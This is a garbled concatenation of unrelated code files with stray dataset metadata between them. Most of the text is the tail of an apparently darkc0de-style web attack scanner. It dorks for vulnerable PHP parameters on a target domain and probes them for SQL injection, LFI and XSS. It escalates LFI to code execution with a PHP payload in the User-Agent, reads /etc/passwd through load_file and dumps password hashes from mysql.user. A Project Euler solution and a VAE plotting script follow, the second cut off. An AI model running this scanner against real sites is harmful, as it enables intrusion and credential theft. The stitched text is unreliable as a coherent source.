d0rk += [ 'index.php?sub= index.php?sub=', 'index.php?sub= .php?sub=', 'index.php?sub= "index.php?sub="', 'index.php?sub= index.php?sub=', 'index.php?sub= "index.php?sub=""', 'index.php?sub= "index.php?sub="', 'index.php?sub= ".php?sub="', 'index.php?subpage= index.php?subpage="', 'index.php?subpage= .php?subpage="', 'index.php?subp= index.php?subp="', 'index.php?subp= .php?subp="', 'index.php?table= index.php?table=', 'index.php?table= .php?table=', 'index.php?t= index.php?t="', 'index.php?task= index.php?task=', 'index.php?task= .php?task=', 'index.php?term= .php?term="', 'index.php?textfield= .php?textfield="', 'index.php?theme= index.php?theme=', 'index.php?theme= .php?theme=', 'index.php?theme= .php?theme=', 'index.php?trans= index.php?trans="', 'index.php?trans= .php?trans="', 'index.php?v= index.php?v="', 'index.php?ver= index.php?ver="', 'index.php?ver= index.php?ver=', 'index.php?ver= .php?ver=', 'index.php?ver= .php?ver="', 'index.php?ver= .php?ver=', '/index.php?vis= /index.php?vis=', '/index.php?vis= .php?vis=', 'index.php?way= index.php?way=', 'index.php?way= .php?way=', 'index.php?wpage= index.php?wpage="', 'index.php?wpage= .php?wpage="', 'info.php?ln= info.php?ln="', 'info.php?ln= info.php?ln=', 'info.php?ln= .php?ln="', '/interna.php?meio= .php?meio="', 'kalender.php?vis= kalender.php"', 'kalender.php?vis= kalender.php?vis="', 'kalender.php?vis= .php?vis="', 'lang.php?arg= .php?arg=', 'lang.php?arq= .php?arq=', 'lang.php?lk= .php?lk="', 'lang.php?ln= .php?ln=', 'lang.php?subpage= .php?subpage="', 'lang.php?subp= .php?sub="', 'lang.php?subp= .php?subp="', '/lib/db/ez_sql.php?lib_path= ttCMS', '/lib/db/ez_sql.php?lib_path= ttCMS <= v4', '/lib/static/header.php?set_menu= iPhoto Album', '/lib/static/header.php?set_menu= iPhotoAlbum', '/lib/static/header.php?set_menu= iPhotoAlbum v1.1', 'link.php?do= .php?do="', 'list.php?product= .php?product=', 'list.php?table= .php?table=', 'ln.php?ln= .php?ln=', 'loc.php?l= .php?l="', 'loc.php?l= .php?loc="', 'loc.php?lang= .php?lang="', 'loc.php?lang= .php?loc="', 'loc.php?loc= loc.php?loc="', 'loc.php?loc= .php?loc="', 'login.php?loca= .php?loca=', 'magazine.php?inc= .php?inc="', 'main1.php?arg= .php?arg=', 'main1.php?ln= .php?ln=', 'main2.php?ln= .php?ln=', 'main.html.php?seite= .php?seite=', 'main.php3?act= main.php3?act="', 'main.php3?act= .php3?act="', 'main.php5?page= .php5?id=', 'main.php?a= .php?a="', 'main.php?arg= .php?arg=', 'main.php?ba= main.php?ba="', 'main.php?ba= .php?ba="', 'main.php?command= main.php?command="', 'main.php?command= .php?command="', 'main.php?d1= main.php?d1="', 'main.php?d1= .php?d1="', 'main.php?f1= .php?f1="', 'main.php?fset= .php?fset="', 'main.php?inc= .php?inc="', 'main.php?ln= .php?ln=', 'main.php?ltr= .php?ltr="', 'main.php?s= main.php?s="', 'main.php?s= main.php?s=', 'main.php?s= .php?s=', 'main.php?s= .php?s="', 'main.php?sit= .php?sit="', 'main.php?table= .php?table=', 'main.php?vis= main.php?vis="', 'main.php?vis= main.php?vis=']
d0rk += [ 'main.php?vis= .php?vis="', 'mai.php?act= mai.php?act="', 'mai.php?act= mai.php?act=', 'mai.php?loc= mai.php?loc="', 'mai.php?loc= mai.php?loc=', 'mai.php?src= mai.php?src="', 'mai.php?src= mai.php?src=', 'map.php?loc= map.php?loc=', 'middle.php?file= "middle.php?file="', 'middle.php?file= "middle.php?page="', 'middle.php?file= ".php?file="', 'middle.php?file= ".php?page="', 'middle.php?file= middle.php?file=', 'middle.php?file= middle.php?page=', 'middle.php?file= .php?file=', 'middle.php?file= .php?page=', 'middle.php?page= "middle.php?page="', 'middle.php?page= ".php?page="', 'middle.php?page= middle.php?page=', 'middle.php?page= .php?page=', 'misc.php?do= .php?do="', 'mod.php?mod= mod.php?mod="', 'mod.php?mod= .php?mod="', 'module.php?mod= module.php?mod="', 'module.php?mod= .php?mod="', '/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir= PostGuestbook"', '/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir= "PostGuestbook"', '/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir= "PostGuestbook 0.6.1"', '/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir= PostGuestbook', '/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir= PostGuestbook 0.6.1', 'modul.php?mod= modul.php?mod="', 'modul.php?mod= .php?mod="', 'more.php?sub= "more.php?sub="', 'more.php?sub= more.php?sub=', 'nav.php?g= "nav.php?g="', 'nav.php?g= nav.php?g=', 'nav.php?go= "nav.php?go="', 'nav.php?go= nav.php?go=', 'nav.php?lk= .php?lk="', 'nav.php?ln= .php?ln=', 'nav.php?loc= nav.php', 'nav.php?loc= nav.php?loc=', 'nav.php?loc= .php?loc=', 'nav.php?nav= "nav.php?nav="', 'nav.php?nav= nav.php?nav=', 'nav.php?page= "nav.php?page="', 'nav.php?page= nav.php?page=', 'nav.php?pagina= "nav.php?pagina="', 'nav.php?pagina= nav.php?pagina=', 'nav.php?pag= "nav.php?pag="', 'nav.php?pag= nav.php?pag=', 'nav.php?pg= "nav.php?pg="', 'nav.php?pg= nav.php?pg=', 'nav.php?p= "nav.php?p="', 'nav.php?p= nav.php?p=', 'order.php?lang= order.php?lang=', 'order.php?list= order.php?list=', 'order.php?ln= order.php?ln=', 'order.php?l= order.php?l=', 'order.php?page= order.php?page=', 'order.php?pag= order.php?pag=', 'order.php?pg= order.php?pg=', 'order.php?p= order.php?p=', 'order.php?wp= order.php?wp=', 'order.php?wp= .php?wp=', '/?page= .php5?id=', 'page.php5?id= page.php5?id=', 'page.php5?id= .php5?id=', 'page.php?arq= .php?arq=', 'page.php?ln= .php?ln=', 'page.php?p= page.php?p="', 'page.php?p= page.php?p=', 'page.php?p= .php?p=', 'page.php?p= .php?p="', 'page.php?s= page.php?s="', 'page.php?s= page' ]
def search(maxc):
urls = []
urls_len_last = 0
for site in sitearray:
dark = 0
for dork in go:
dark += 1
page = 0
try:
while page < int(maxc):
try:
jar = cookielib.FileCookieJar("cookies")
query = dork+"+site:"+site
results_web = 'http://www.search-results.com/web?q='+query+'&hl=en&page='+repr(page)+'&src=hmp'
request_web =urllib2.Request(results_web)
agent = random.choice(header)
request_web.add_header('User-Agent', agent)
opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
text = opener_web.open(request_web).read()
stringreg = re.compile('(?<=href=")(.*?)(?=")')
names = stringreg.findall(text)
page += 1
for name in names:
if name not in urls:
if re.search(r'\(',name) or re.search("<", name) or re.search("\A/", name) or re.search("\A(http://)\d", name):
pass
elif re.search("google",name) or re.search("youtube", name) or re.search("phpbuddy", name) or re.search("iranhack",name) or re.search("phpbuilder",name) or re.search("codingforums", name) or re.search("phpfreaks", name) or re.search("%", name) or re.search("facebook", name) or re.search("twitter", name):
pass
elif re.search(site,name):
urls.append(name)
darklen = len(go)
percent = int((1.0*dark/int(darklen))*100)
urls_len = len(urls)
sys.stdout.write("\rSite: %s | Collected urls: %s | D0rks: %s/%s | Percent Done: %s | Current page no.: %s <> " % (site,repr(urls_len),dark,darklen,repr(percent),repr(page)))
sys.stdout.flush()
if urls_len == urls_len_last:
page = int(maxc)
urls_len_last = len(urls)
except:
pass
except(KeyboardInterrupt):
pass
tmplist = []
print "\n\n[+] URLS (unsorted): ",len(urls)
for url in urls:
try:
host = url.split("/",3)
domain = host[2]
if domain not in tmplist and "=" in url:
finallist.append(url)
tmplist.append(domain)
except:
pass
print "[+] URLS (sorted) : ",len(finallist)
return finallist
class injThread(threading.Thread):
def __init__(self,hosts):
self.hosts=hosts
self.fcount = 0
self.check = True
threading.Thread.__init__(self)
def run (self):
urls = list(self.hosts)
for url in urls:
try:
if self.check == True:
ClassicINJ(url)
else:
break
except(KeyboardInterrupt,ValueError):
pass
self.fcount+=1
def stop(self):
self.check = False
class lfiThread(threading.Thread):
def __init__(self,hosts):
self.hosts=hosts
self.fcount = 0
self.check = True
threading.Thread.__init__(self)
def run (self):
urls = list(self.hosts)
for url in urls:
try:
if self.check == True:
ClassicLFI(url)
else:
break
except(KeyboardInterrupt,ValueError):
pass
self.fcount+=1
def stop(self):
self.check = False
class xssThread(threading.Thread):
def __init__(self,hosts):
self.hosts=hosts
self.fcount = 0
self.check = True
threading.Thread.__init__(self)
def run (self):
urls = list(self.hosts)
for url in urls:
try:
if self.check == True:
ClassicXSS(url)
else:
break
except(KeyboardInterrupt,ValueError):
pass
self.fcount+=1
def stop(self):
self.check = False
def ClassicINJ(url):
EXT = "'"
host = url+EXT
try:
source = urllib2.urlopen(host).read()
for type,eMSG in sqlerrors.items():
if re.search(eMSG, source):
print R+"[!] w00t!,w00t!:", O+host, B+"Error:", type,R+" ---> SQL Injection Found"
logfile.write("\n"+host)
vuln.append(host)
col.append(host)
break
else:
pass
except:
pass
def ClassicLFI(url):
lfiurl = url.rsplit('=', 1)[0]
if lfiurl[-1] != "=":
lfiurl = lfiurl + "="
for lfi in lfis:
try:
check = urllib2.urlopen(lfiurl+lfi.replace("\n", "")).read()
if re.findall("root:x", check):
print R+"[!] w00t!,w00t!: ", O+lfiurl+lfi,R+" ---> Local File Include Found"
lfi_log_file.write("\n"+lfiurl+lfi)
vuln.append(lfiurl+lfi)
target = lfiurl+lfi
target = target.replace("/etc/passwd","/proc/self/environ")
header = "<? echo md5(baltazar); ?>"
try:
request_web = urllib2.Request(target)
request_web.add_header('User-Agent', header)
text = urllib2.urlopen(request_web)
text = text.read()
if re.findall("f17f4b3e8e709cd3c89a6dbd949d7171", text):
print R+"[!] w00t!,w00t!: ",O+target,R+" ---> LFI to RCE Found"
rce_log_file.write("\n",target)
vuln.append(target)
except:
pass
except:
pass
def ClassicXSS(url):
for xss in xsses:
try:
source = urllib2.urlopen(url+xss.replace("\n","")).read()
if re.findall("XSS by baltazar", source):
print R+"[!] w00t!,w00t!: ", O+url+xss,R+" ---> XSS Found (might be false)"
xss_log_file.write("\n"+url+xss)
vuln.append(url+xss)
except:
pass
def injtest():
print B+"\n[+] Preparing for SQLi scanning ..."
print "[+] Can take a while ..."
print "[!] Working ...\n"
i = len(usearch) / int(numthreads)
m = len(usearch) % int(numthreads)
z = 0
if len(threads) <= numthreads:
for x in range(0, int(numthreads)):
sliced = usearch[x*i:(x+1)*i]
if (z<m):
sliced.append(usearch[int(numthreads)*i+z])
z +=1
thread = injThread(sliced)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
def lfitest():
print B+"\n[+] Preparing for LFI - RCE scanning ..."
print "[+] Can take a while ..."
print "[!] Working ...\n"
i = len(usearch) / int(numthreads)
m = len(usearch) % int(numthreads)
z = 0
if len(threads) <= numthreads:
for x in range(0, int(numthreads)):
sliced = usearch[x*i:(x+1)*i]
if (z<m):
sliced.append(usearch[int(numthreads)*i+z])
z +=1
thread = lfiThread(sliced)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
def xsstest():
print B+"\n[+] Preparing for XSS scanning ..."
print "[+] Can take a while ..."
print "[!] Working ...\n"
i = len(usearch) / int(numthreads)
m = len(usearch) % int(numthreads)
z = 0
if len(threads) <= numthreads:
for x in range(0, int(numthreads)):
sliced = usearch[x*i:(x+1)*i]
if (z<m):
sliced.append(usearch[int(numthreads)*i+z])
z +=1
thread = xssThread(sliced)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
new = 1
menu = True
while menu == True:
if new == 1:
threads = []
finallist = []
vuln = []
col = []
darkurl = []
print W
sites = raw_input("\nChoose your target(domain) : ")
sitearray = [ sites ]
go = []
dorks = raw_input("Choose the number of random dorks (0 for all.. may take awhile!) : "); print ""
if int(dorks) == 0:
i = 0
while i < len(d0rk):
go.append(d0rk[i])
i += 1
else:
i = 0
while i < int(dorks):
go.append(choice(d0rk))
i += 1
for g in go:
print "dork: ",g
numthreads = raw_input('\nEnter no. of threads : ')
maxc = raw_input('Enter no. of pages : ')
print "\nNumber of SQL errors :",len(sqlerrors)
print "Number of LFI paths :",len(lfis)
print "Number of XSS cheats :",len(xsses)
print "Number of headers :",len(header)
print "Number of threads :",numthreads
print "Number of dorks :",len(go)
print "Number of pages :",maxc
print "Timeout in seconds :",timeout
print ""
usearch = search(maxc)
new = 0
print R+"\n[1] SQLi Testing"
print "[2] SQLi Testing Auto Mode"
print "[3] LFI - RCE Testing"
print "[4] XSS Testing"
print "[5] SQLi and LFI - RCE Testing"
print "[6] SQLi and XSS Testing"
print "[7] LFI -RCE and XSS Testing"
print "[8] SQLi,LFI - RCE and XSS Testing"
print "[9] Save valid urls to file"
print "[10] Print valid urls"
print "[11] Found vuln in last scan"
print "[12] New scan"
print "[0] Exit\n"
chce = raw_input(":")
if chce == '1':
injtest()
if chce == '2':
injtest()
print B+"\n[+] Preparing for Column Finder ..."
print "[+] Can take a while ..."
print "[!] Working ..."
# Thanks rsauron for schemafuzz
for host in col:
print R+"\n[+] Target: ", O+host
print R+"[+] Attempting to find the number of columns ..."
print "[+] Testing: ",
checkfor = []
host = host.rsplit("'", 1)[0]
sitenew = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva
makepretty = ""
for x in xrange(0, colMax):
try:
sys.stdout.write("%s," % (x))
sys.stdout.flush()
darkc0de = "dark"+str(x)+"c0de"
checkfor.append(darkc0de)
if x > 0:
sitenew += ","
sitenew += "0x"+darkc0de.encode("hex")
finalurl = sitenew+arg_end
gets += 1
source = urllib2.urlopen(finalurl).read()
for y in checkfor:
colFound = re.findall(y, source)
if len(colFound) >= 1:
print "\n[+] Column length is:", len(checkfor)
nullcol = re.findall(("\d+"), y)
print "[+] Found null column at column #:", nullcol[0]
for z in xrange(0, len(checkfor)):
if z > 0:
makepretty += ","
makepretty += str(z)
site = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva+makepretty
print "[+] SQLi URL:", site+arg_end
site = site.replace(","+nullcol[0]+",",",darkc0de,")
site = site.replace(arg_eva+nullcol[0]+",",arg_eva+"darkc0de,")
site = site.replace(","+nullcol[0],",darkc0de")
print "[+] darkc0de URL:", site
darkurl.append(site)
print "[-] Done!\n"
break
except(KeyboardInterrupt, SystemExit):
raise
except:
pass
print "\n[!] Sorry column length could not be found\n"
###########
print B+"\n[+] Gathering MySQL Server Configuration..."
for site in darkurl:
head_URL = site.replace("darkc0de", "concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end
print R+"\n[+] Target:", O+site
while 1:
try:
gets += 1
source = urllib2.urlopen(head_URL).read()
match = re.findall("\x1e\x1e\S+", source)
if len(match) >= 1:
match = match[0][2:].split("\x1e")
version = match[0]
user = match[1]
database = match[2]
print W+"\n\tDatabase:", database
print "\tUser:", user
print "\tVersion:", version
version = version[0]
load = site.replace("darkc0de", "load_file(0x2f6574632f706173737764)")
source = urllib2.urlopen(load).read()
if re.findall("root:x", source):
load = site.replace("darkc0de", "concat_ws(char(58),load_file(0x"+file.encode("hex")+"),0x62616c74617a6172)")
source = urllib2.urlopen(load).read()
search = re.findall("baltazar", source)
if len(search) > 0:
print "\n[!] w00t!w00t!: "+site.replace("darkc0de", "load_file(0x"+file.encode("hex")+")")
load = site.replace("dakrc0de", "concat_ws(char(58),user,password,0x62616c74617a6172)")+arg_eva+"from"+arg_eva+"mysql.user"
source = urllib2.urlopen(load).read()
if re.findall("baltazar", source):
print "\n[!] w00t!w00t!: "+site.replace("darkc0de", "concat_ws(char(58),user,password)")+arg_eva+"from"+arg_eva+"mysql.user"
print W+"\n[+] Number of tables:",len(tables)
print "[+] Number of columns:",len(columns)
print "[+] Checking for tables and columns..."
target = site.replace("darkc0de", "0x62616c74617a6172")+arg_eva+"from"+arg_eva+"T"
for table in tables:
try:
target_table = target.replace("T", table)
source = urllib2.urlopen(target_table).read()
search = re.findall("baltazar", source)
if len(search) > 0:
print "\n[!] w00t!w00t! Found a table called: < "+table+" >"
print "\n[+] Lets check for columns inside table < "+table+" >"
for column in columns:
try:
source = urllib2.urlopen(target_table.replace("0x62616c74617a6172", "concat_ws(char(58),0x62616c74617a6172,"+column+")")).read()
search = re.findall("baltazar", source)
if len(search) > 0:
print "\t[!] w00t!w00t! Found a column called: < "+column+" >"
except(KeyboardInterrupt, SystemExit):
raise
except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout):
pass
print "\n[-] Done searching inside table < "+table+" > for columns!"
except(KeyboardInterrupt, SystemExit):
raise
except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout):
pass
print "[!] Fuzzing is finished!"
break
except(KeyboardInterrupt, SystemExit):
raise
if chce == '3':
lfitest()
if chce == '4':
xsstest()
if chce == '5':
injtest()
lfitest()
if chce == '6':
injtest()
xsstest()
if chce == '7':
lfitest()
xsstest()
if chce == '8':
injtest()
lfitest()
xsstest()
if chce == '9':
print B+"\nSaving valid urls ("+str(len(finallist))+") to file"
listname = raw_input("Filename: ")
list_name = open(listname, "w")
finallist.sort()
for t in finallist:
list_name.write(t+"\n")
list_name.close()
print "Urls saved, please check", listname
if chce == '10':
print W+"\nPrinting valid urls:\n"
finallist.sort()
for t in finallist:
print B+t
if chce == '11':
print B+"\nVuln found ",len(vuln)
if chce == '12':
new = 1
print W+""
if chce == '0':
print R+"\n[-] Exiting ..."
mnu = False
print W
sys.exit(1)
| 151.291859
| 3,587
| 0.642353
| 14,296
| 98,491
| 4.353945
| 0.107373
| 0.07673
| 0.009784
| 0.010796
| 0.483629
| 0.425953
| 0.361175
| 0.343808
| 0.318087
| 0.282083
| 0
| 0.012304
| 0.103837
| 98,491
| 651
| 3,588
| 151.291859
| 0.692899
| 0.010722
| 0
| 0.362617
| 0
| 0.173832
| 0.726462
| 0.19456
| 0
| 0
| 0.001417
| 0
| 0
| 0
| null | null | 0.04486
| 0.003738
| null | null | 0.173832
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
dc8d32918dd28646757d919fffd7e6913e1a5298
| 2,737
|
py
|
Python
|
problems/pe8.py
|
tgetzoya/project-euler-python
|
c459dc0f853c27006db6865be731ad53ee2cd778
|
[
"BSD-2-Clause"
] | null | null | null |
problems/pe8.py
|
tgetzoya/project-euler-python
|
c459dc0f853c27006db6865be731ad53ee2cd778
|
[
"BSD-2-Clause"
] | null | null | null |
problems/pe8.py
|
tgetzoya/project-euler-python
|
c459dc0f853c27006db6865be731ad53ee2cd778
|
[
"BSD-2-Clause"
] | null | null | null |
# The four adjacent digits in the 1000-digit number that have the greatest product are 9 × 9 × 8 × 9 = 5832.
#
# 73167176531330624919225119674426574742355349194934
# 96983520312774506326239578318016984801869478851843
# 85861560789112949495459501737958331952853208805511
# 12540698747158523863050715693290963295227443043557
# 66896648950445244523161731856403098711121722383113
# 62229893423380308135336276614282806444486645238749
# 30358907296290491560440772390713810515859307960866
# 70172427121883998797908792274921901699720888093776
# 65727333001053367881220235421809751254540594752243
# 52584907711670556013604839586446706324415722155397
# 53697817977846174064955149290862569321978468622482
# 83972241375657056057490261407972968652414535100474
# 82166370484403199890008895243450658541227588666881
# 16427171479924442928230863465674813919123162824586
# 17866458359124566529476545682848912883142607690042
# 24219022671055626321111109370544217506941658960408
# 07198403850962455444362981230987879927244284909188
# 84580156166097919133875499200524063689912560717606
# 05886116467109405077541002256983155200055935729725
# 71636269561882670428252483600823257530420752963450
#
# Find the thirteen adjacent digits in the 1000-digit number that have the greatest product. What is the value of this product?
#
# Answer: 23514624000
def run():
very_large_number = 7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450
list = []
while very_large_number > 0:
list.append(very_large_number % 10)
very_large_number = very_large_number // 10
list.reverse()
hold = 0
for idx in range(0, len(list) - 13):
sum = list[idx]
for jdx in range(1, 13):
sum *= list[idx + jdx]
if sum > hold:
hold = sum
return hold
| 57.020833
| 1,024
| 0.882718
| 124
| 2,737
| 19.427419
| 0.548387
| 0.01868
| 0.031133
| 0.015774
| 0.049813
| 0.049813
| 0.049813
| 0.049813
| 0.049813
| 0.049813
| 0
| 0.817562
| 0.088783
| 2,737
| 47
| 1,025
| 58.234043
| 0.147153
| 0.464742
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.066667
| false
| 0
| 0
| 0
| 0.133333
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f4a89f42760fc8f9723c4693372c1a9bb3bf6528
| 7,721
|
py
|
Python
|
scripts/print.py
|
DavideMammarella/USI-MSDE-Thesis-Code
|
9570e81170d93712b36b2b82bfa43dd7424e7d75
|
[
"MIT"
] | 4
|
2021-09-10T18:19:48.000Z
|
2022-02-14T21:31:13.000Z
|
scripts/print.py
|
DavideMammarella/USI-MSDE-Thesis-Code
|
9570e81170d93712b36b2b82bfa43dd7424e7d75
|
[
"MIT"
] | null | null | null |
scripts/print.py
|
DavideMammarella/USI-MSDE-Thesis-Code
|
9570e81170d93712b36b2b82bfa43dd7424e7d75
|
[
"MIT"
] | 2
|
2022-01-31T22:55:11.000Z
|
2022-03-02T17:43:18.000Z
|
# Copyright 2021 Testing Automated @ Università della Svizzera italiana (USI)
# All rights reserved.
# This file is part of the project SelfOracle, a misbehaviour predictor for autonomous vehicles,
# developed within the ERC project PRECRIME
# and is released under the "MIT License Agreement". Please see the LICENSE
# file that should have been included as part of this package.
import tensorflow
from scipy.stats import ttest_rel
from tqdm import tqdm
import utils
from config import Config
from utils import *
from selforacle.vae import normalize_and_reshape, VAE
WHAT = '-latent16-centerimg-nocrop'
if __name__ == '__main__':
os.chdir(os.getcwd().replace('scripts', ''))
print(os.getcwd())
cfg = Config()
cfg.from_pyfile("config_my.py")
drive = utils.get_driving_styles(cfg)
cfg.SIMULATION_NAME = 'gauss-journal-track3-nominal'
data_nominal = load_all_images(cfg)
encoder_mse = tensorflow.keras.models.load_model('sao/encoder-track3-MSEloss' + WHAT + '-CI-RETRAINED-2X-UNC')
decoder_mse = tensorflow.keras.models.load_model('sao/decoder-track3-MSEloss' + WHAT + '-CI-RETRAINED-2X-UNC')
vae_mse = VAE(model_name="encoder_mse",
loss="MSE",
latent_dim=cfg.SAO_LATENT_DIM,
encoder=encoder_mse,
decoder=decoder_mse)
vae_mse.compile(optimizer=tensorflow.keras.optimizers.Adam(learning_rate=0.0001))
encoder_vae = tensorflow.keras.models.load_model('sao/encoder-track3-VAEloss' + WHAT + '-CI-RETRAINED-2X-UNC')
decoder_vae = tensorflow.keras.models.load_model('sao/decoder-track3-VAEloss' + WHAT + '-CI-RETRAINED-2X-UNC')
vae_vae = VAE(model_name="encoder_vae",
loss="VAE",
latent_dim=cfg.SAO_LATENT_DIM,
encoder=encoder_vae,
decoder=decoder_vae)
vae_vae.compile(optimizer=tensorflow.keras.optimizers.Adam(learning_rate=0.0001))
i = 0
list_original = []
list_reconstructed_mse = []
list_reconstructed_vae = []
for x in tqdm(data_nominal):
i += 1
x = utils.resize(x)
x = normalize_and_reshape(x)
list_original.append(x.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS))
# z_mean, z_log_var, z = vae_mse.encoder.predict(x)
# decoded = vae_mse.decoder.predict(z)
reconstructed_mse = vae_mse.predict(x)
reconstructed_vae = vae_vae.predict(x)
list_reconstructed_mse.append(
reconstructed_mse.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS))
list_reconstructed_vae.append(
reconstructed_vae.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS))
# if i % 400 == 0:
# plt.figure(figsize=(80, 16))
# # display original
# ax = plt.subplot(1, 3, 1)
# plt.imshow(x.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS))
# ax.get_xaxis().set_visible(False)
# ax.get_yaxis().set_visible(False)
# plt.title("Original", fontsize=60)
#
# # display reconstruction
# ax = plt.subplot(1, 3, 2)
# plt.imshow(reconstructed_mse.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS))
# ax.get_xaxis().set_visible(False)
# ax.get_yaxis().set_visible(False)
# plt.title("MSE: %.4f" % vae_mse.test_on_batch(x)[2], fontsize=60)
#
# ax = plt.subplot(1, 3, 3)
# plt.imshow(reconstructed_vae.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS))
# ax.get_xaxis().set_visible(False)
# ax.get_yaxis().set_visible(False)
# plt.title("MSE: %.4f" % vae_vae.test_on_batch(x)[2], fontsize=60)
#
# plt.savefig("plots/example-" + WHAT + "-" + str(i) + ".png")
# plt.show()
# plt.close()
del data_nominal
cfg.SIMULATION_NAME = 'gauss-journal-track3-rain'
data_unseen = load_all_images(cfg)
i = 0
list_original_unseen = []
list_reconstructed_mse_unseen = []
list_reconstructed_vae_unseen = []
for x in tqdm(data_unseen):
i += 1
x = utils.resize(x)
x = normalize_and_reshape(x)
list_original_unseen.append(x.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS))
# z_mean, z_log_var, z = vae_mse.encoder.predict(x)
# decoded = vae_mse.decoder.predict(z)
reconstructed_mse = vae_mse.predict(x)
reconstructed_vae = vae_vae.predict(x)
list_reconstructed_mse_unseen.append(
reconstructed_mse.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS))
list_reconstructed_vae_unseen.append(
reconstructed_vae.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS))
# if i % 100 == 0:
# plt.figure(figsize=(80, 16))
# # display original
# ax = plt.subplot(1, 3, 1)
# plt.imshow(x.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS))
# ax.get_xaxis().set_visible(False)
# ax.get_yaxis().set_visible(False)
# plt.title("Original", fontsize=60)
#
# # display reconstruction
# ax = plt.subplot(1, 3, 2)
# plt.imshow(reconstructed_mse.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS))
# ax.get_xaxis().set_visible(False)
# ax.get_yaxis().set_visible(False)
# plt.title("MSE: %.4f" % vae_mse.test_on_batch(x)[2], fontsize=60)
#
# ax = plt.subplot(1, 3, 3)
# plt.imshow(reconstructed_vae.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS))
# ax.get_xaxis().set_visible(False)
# ax.get_yaxis().set_visible(False)
# plt.title("MSE: %.4f" % vae_vae.test_on_batch(x)[2], fontsize=60)
#
# plt.savefig("plots/example-" + WHAT + "-" + str(i) + ".png")
# plt.show()
# plt.close()
lpl_original = laplacian_variance(list_original)
lpl_var_mse = laplacian_variance(list_reconstructed_mse)
lpl_var_vae = laplacian_variance(list_reconstructed_vae)
res = ttest_rel(lpl_var_mse, lpl_var_vae)
print(f'T-score = {res.statistic:.2f}, p-value = {res.pvalue:.2f}')
plt.hist(lpl_original, bins=50, alpha=0.2, label='nominal images')
plt.hist(lpl_var_mse, bins=50, alpha=0.2, label='unseen images generated by VAE (MSE loss)')
plt.hist(lpl_var_vae, bins=50, alpha=0.2, label='unseen images generated by VAE (VAE loss)')
plt.legend(loc='upper right')
plt.xlabel('Laplacian variance')
plt.title(f'T-score = {res.statistic:.2f}, p-value = {res.pvalue:.2f}')
plt.savefig("plots/laplacian-" + WHAT + ".png")
plt.show()
lpl_original = laplacian_variance(list_original)
lpl_var_mse = laplacian_variance(list_reconstructed_mse_unseen)
lpl_var_vae = laplacian_variance(list_reconstructed_vae_unseen)
res = ttest_rel(lpl_var_mse, lpl_var_vae)
print(f'T-score = {res.statistic:.2f}, p-value = {res.pvalue:.2f}')
plt.hist(lpl_original, bins=50, alpha=0.2, label='nominal images')
plt.hist(lpl_var_mse, bins=50, alpha=0.2, label='unseen images generated by VAE (MSE loss)')
plt.hist(lpl_var_vae, bins=50, alpha=0.2, label='unseen images generated by VAE (VAE loss)')
plt.legend(loc='upper right')
plt.xlabel('Laplacian variance')
plt.title(f'T-score = {res.statistic:.2f}, p-value = {res.pvalue:.2f}')
plt.savefig("plots/laplacian-" + WHAT + ".png")
plt.show()
| 41.735135
| 114
| 0.650563
| 1,017
| 7,721
| 4.689282
| 0.187807
| 0.06039
